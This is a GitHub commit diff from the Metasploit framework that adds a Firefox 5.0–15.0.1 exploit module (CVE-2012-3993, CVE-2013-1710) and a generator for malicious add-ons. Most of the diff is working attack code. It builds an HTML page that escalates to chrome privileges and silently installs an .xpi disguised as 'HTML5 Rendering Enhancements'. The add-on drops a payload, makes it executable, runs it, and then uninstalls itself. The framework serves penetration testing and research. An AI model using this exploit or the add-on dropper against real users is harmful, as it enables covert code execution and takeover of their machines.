Skip to content

Commit 52a4e55

Browse files
committed
Land rapid7#2781 - Firefox 5.0 - 15.0.1 __exposedProps__ XCS Code Execution
2 parents a043d38 + 8e27e87 commit 52a4e55

File tree

6 files changed

+369
-165
lines changed

6 files changed

+369
-165
lines changed

lib/msf/core/exploit/mixins.rb

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -98,4 +98,7 @@
9898
# WebApp
9999
require 'msf/core/exploit/web'
100100

101+
# Firefox addons
102+
require 'msf/core/exploit/remote/firefox_addon_generator'
103+
101104
require 'msf/core/exploit/remote/browser_exploit_server'

lib/msf/core/exploit/remote/browser_exploit_server.rb

Lines changed: 12 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -92,6 +92,15 @@ def get_module_resource
9292
"#{get_resource.chomp("/")}/#{@exploit_receiver_page}"
9393
end
9494

95+
#
96+
# Returns the absolute URL to the module's resource that points to on_request_exploit
97+
#
98+
# @return [String] absolute URI to the exploit page
99+
#
100+
def get_module_uri
101+
"#{get_uri.chomp("/")}/#{@exploit_receiver_page}"
102+
end
103+
95104
#
96105
# Returns the current target
97106
#
@@ -166,8 +175,10 @@ def get_bad_requirements(profile)
166175
# Special keys to ignore because the script registers this as [:activex] = true or false
167176
next if k == :clsid or k == :method
168177

169-
if v.class == Regexp
178+
if v.is_a? Regexp
170179
bad_reqs << k if profile[k.to_sym] !~ v
180+
elsif v.is_a? Proc
181+
bad_reqs << k unless v.call(profile[k.to_sym])
171182
else
172183
bad_reqs << k if profile[k.to_sym] != v
173184
end
Lines changed: 174 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,174 @@
1+
# -*- coding: binary -*-
2+
3+
###
4+
#
5+
# The FirefoxAddonGenerator allows a firefox exploit module to serve a malicious .xpi
6+
# addon that will gain a session.
7+
#
8+
###
9+
10+
module Msf
11+
module Exploit::Remote::FirefoxAddonGenerator
12+
13+
# Add in the supported datastore options
14+
def initialize( info = {} )
15+
super(update_info(info,
16+
'Platform' => %w{ java linux osx solaris win },
17+
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
18+
'Targets' =>
19+
[
20+
[ 'Generic (Java Payload)',
21+
{
22+
'Platform' => ['java'],
23+
'Arch' => ARCH_JAVA
24+
}
25+
],
26+
[ 'Windows x86 (Native Payload)',
27+
{
28+
'Platform' => 'win',
29+
'Arch' => ARCH_X86,
30+
}
31+
],
32+
[ 'Linux x86 (Native Payload)',
33+
{
34+
'Platform' => 'linux',
35+
'Arch' => ARCH_X86,
36+
}
37+
],
38+
[ 'Mac OS X PPC (Native Payload)',
39+
{
40+
'Platform' => 'osx',
41+
'Arch' => ARCH_PPC,
42+
}
43+
],
44+
[ 'Mac OS X x86 (Native Payload)',
45+
{
46+
'Platform' => 'osx',
47+
'Arch' => ARCH_X86,
48+
}
49+
]
50+
],
51+
'DefaultTarget' => 1
52+
))
53+
54+
register_options( [
55+
OptString.new('ADDONNAME', [ true,
56+
"The addon name.",
57+
"HTML5 Rendering Enhancements"
58+
]),
59+
OptBool.new('AutoUninstall', [ true,
60+
"Automatically uninstall the addon after payload execution",
61+
true
62+
])
63+
], self.class)
64+
end
65+
66+
# @return [Rex::Zip::Archive] containing a .xpi, ready to be served with the
67+
# 'application/x-xpinstall' MIME type
68+
def generate_addon_xpi
69+
if target.name == 'Generic (Java Payload)'
70+
jar = p.encoded_jar
71+
jar.build_manifest(:main_class => "metasploit.Payload")
72+
payload_file = jar.pack
73+
payload_name='payload.jar'
74+
payload_script=%q|
75+
var java = Components.classes["@mozilla.org/appshell/window-mediator;1"].getService(Components.interfaces.nsIWindowMediator).getMostRecentWindow('navigator:browser').Packages.java
76+
java.lang.System.setSecurityManager(null);
77+
var cl = new java.net.URLClassLoader([new java.io.File(tmp.path).toURI().toURL()]);
78+
var m = cl.loadClass("metasploit.Payload").getMethod("main", [java.lang.Class.forName("[Ljava.lang.String;")]);
79+
m.invoke(null, [java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.lang.String"), 0)]);
80+
|
81+
else
82+
payload_file = generate_payload_exe
83+
payload_name = Rex::Text.rand_text_alphanumeric(8) + '.exe'
84+
payload_script=%q|
85+
var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);
86+
process.init(tmp);
87+
process.run(false,[],0);
88+
|
89+
if target.name != 'Windows x86 (Native Payload)'
90+
payload_script = %q|
91+
var chmod=Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
92+
chmod.initWithPath("/bin/chmod");
93+
var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);
94+
process.init(chmod);
95+
process.run(true, ["+x", tmp.path], 2);
96+
| + payload_script
97+
end
98+
end
99+
100+
zip = Rex::Zip::Archive.new
101+
xpi_guid = Rex::Text.rand_guid
102+
bootstrap_script = %q|
103+
function startup(data, reason) {
104+
var file = Components.classes["@mozilla.org/file/directory_service;1"].
105+
getService(Components.interfaces.nsIProperties).
106+
get("ProfD", Components.interfaces.nsIFile);
107+
file.append("extensions");
108+
|
109+
bootstrap_script << %Q|xpi_guid="#{xpi_guid}";|
110+
bootstrap_script << %Q|payload_name="#{payload_name}";|
111+
bootstrap_script << %q|
112+
file.append(xpi_guid);
113+
file.append(payload_name);
114+
var tmp = Components.classes["@mozilla.org/file/directory_service;1"].
115+
getService(Components.interfaces.nsIProperties).
116+
get("TmpD", Components.interfaces.nsIFile);
117+
tmp.append(payload_name);
118+
tmp.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 0666);
119+
file.copyTo(tmp.parent, tmp.leafName);
120+
|
121+
bootstrap_script << payload_script
122+
123+
if (datastore['AutoUninstall'])
124+
bootstrap_script << %q|
125+
try { // Fx < 4.0
126+
Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager).uninstallItem(xpi_guid);
127+
} catch (e) {}
128+
try { // Fx 4.0 and later
129+
Components.utils.import("resource://gre/modules/AddonManager.jsm");
130+
AddonManager.getAddonByID(xpi_guid, function(addon) {
131+
addon.uninstall();
132+
});
133+
} catch (e) {}
134+
|
135+
end
136+
137+
bootstrap_script << "}"
138+
139+
zip.add_file('bootstrap.js', bootstrap_script)
140+
zip.add_file(payload_name, payload_file)
141+
zip.add_file('chrome.manifest', "content\t#{xpi_guid}\t./\noverlay\tchrome://browser/content/browser.xul\tchrome://#{xpi_guid}/content/overlay.xul\n")
142+
zip.add_file('install.rdf', %Q|<?xml version="1.0"?>
143+
<RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#">
144+
<Description about="urn:mozilla:install-manifest">
145+
<em:id>#{xpi_guid}</em:id>
146+
<em:name>#{datastore['ADDONNAME']}</em:name>
147+
<em:version>1.0</em:version>
148+
<em:bootstrap>true</em:bootstrap>
149+
<em:unpack>true</em:unpack>
150+
<em:targetApplication>
151+
<Description>
152+
<em:id>[email protected]</em:id>
153+
<em:minVersion>1.0</em:minVersion>
154+
<em:maxVersion>*</em:maxVersion>
155+
</Description>
156+
</em:targetApplication>
157+
<em:targetApplication>
158+
<Description>
159+
<em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id>
160+
<em:minVersion>1.0</em:minVersion>
161+
<em:maxVersion>*</em:maxVersion>
162+
</Description>
163+
</em:targetApplication>
164+
</Description>
165+
</RDF>|)
166+
zip.add_file('overlay.xul', %q|<?xml version="1.0"?>
167+
<overlay xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
168+
<script src="bootstrap.js"/>
169+
<script><![CDATA[window.addEventListener("load", function(e) { startup(); }, false);]]></script>
170+
</overlay>|)
171+
zip
172+
end
173+
end
174+
end
Lines changed: 116 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,116 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::BrowserExploitServer
12+
include Msf::Exploit::EXE
13+
include Msf::Exploit::Remote::FirefoxAddonGenerator
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'Firefox 5.0 - 15.0.1 __exposedProps__ XCS Code Execution',
18+
'Description' => %q{
19+
On versions of Firefox from 5.0 to 15.0.1, the InstallTrigger global, when given
20+
invalid input, would throw an exception that did not have an __exposedProps__
21+
property set. By re-setting this property on the exception object's prototype,
22+
the chrome-based defineProperty method is made available.
23+
24+
With the defineProperty method, functions belonging to window and document can be
25+
overriden with a function that gets called from chrome-privileged context. From here,
26+
another vulnerability in the crypto.generateCRMFRequest function is used to "peek"
27+
into the context's private scope. Since the window does not have a chrome:// URL,
28+
the insecure parts of Components.classes are not available, so instead the AddonManager
29+
API is invoked to silently install a malicious plugin.
30+
},
31+
'License' => MSF_LICENSE,
32+
'Author' => [
33+
'Mariusz Mlynski', # discovered CVE-2012-3993
34+
'moz_bug_r_a4', # discovered CVE-2013-1710
35+
'joev' # metasploit module
36+
],
37+
'DisclosureDate' => "Aug 6 2013",
38+
'References' => [
39+
['CVE', '2012-3993'], # used to install function that gets called from chrome:// (ff<15)
40+
['OSVDB', '86111'],
41+
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=768101'],
42+
['CVE', '2013-1710'], # used to peek into privileged caller's closure (ff<23)
43+
['OSVDB', '96019']
44+
],
45+
'BrowserRequirements' => {
46+
:source => 'script',
47+
:ua_name => HttpClients::FF,
48+
:ua_ver => lambda { |ver| ver.to_i.between?(5, 15) }
49+
}
50+
))
51+
52+
register_options([
53+
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ] )
54+
], self.class)
55+
end
56+
57+
def on_request_exploit(cli, request, target_info)
58+
if request.uri.match(/\.xpi$/i)
59+
print_status("Sending the malicious addon")
60+
send_response(cli, generate_addon_xpi.pack, { 'Content-Type' => 'application/x-xpinstall' })
61+
else
62+
print_status("Sending HTML")
63+
send_response_html(cli, generate_html(target_info))
64+
end
65+
end
66+
67+
def generate_html(target_info)
68+
injection = if target_info[:ua_ver].to_i == 15
69+
"Function.prototype.call.call(p.__defineGetter__,obj,key,runme);"
70+
else
71+
"p2.constructor.defineProperty(obj,key,{get:runme});"
72+
end
73+
74+
%Q|
75+
<html>
76+
<body>
77+
#{datastore['CONTENT']}
78+
<div id='payload' style='display:none'>
79+
if (!window.done){
80+
window.AddonManager.getInstallForURL(
81+
'#{get_module_uri}/addon.xpi',
82+
function(install) { install.install() },
83+
'application/x-xpinstall'
84+
);
85+
window.done = true;
86+
}
87+
</div>
88+
<script>
89+
try{InstallTrigger.install(0)}catch(e){p=e;};
90+
var p2=Object.getPrototypeOf(Object.getPrototypeOf(p));
91+
p2.__exposedProps__={
92+
constructor:'rw',
93+
prototype:'rw',
94+
defineProperty:'rw',
95+
__exposedProps__:'rw'
96+
};
97+
var s = document.querySelector('#payload').innerHTML;
98+
var q = false;
99+
var register = function(obj,key) {
100+
var runme = function(){
101+
if (q) return;
102+
q = true;
103+
window.crypto.generateCRMFRequest("CN=Me", "foo", "bar", null, s, 384, null, "rsa-ex");
104+
};
105+
try {
106+
#{injection}
107+
} catch (e) {}
108+
};
109+
for (var i in window) register(window, i);
110+
for (var i in document) register(document, i);
111+
</script>
112+
</body>
113+
</html>
114+
|
115+
end
116+
end

0 commit comments

Comments
 (0)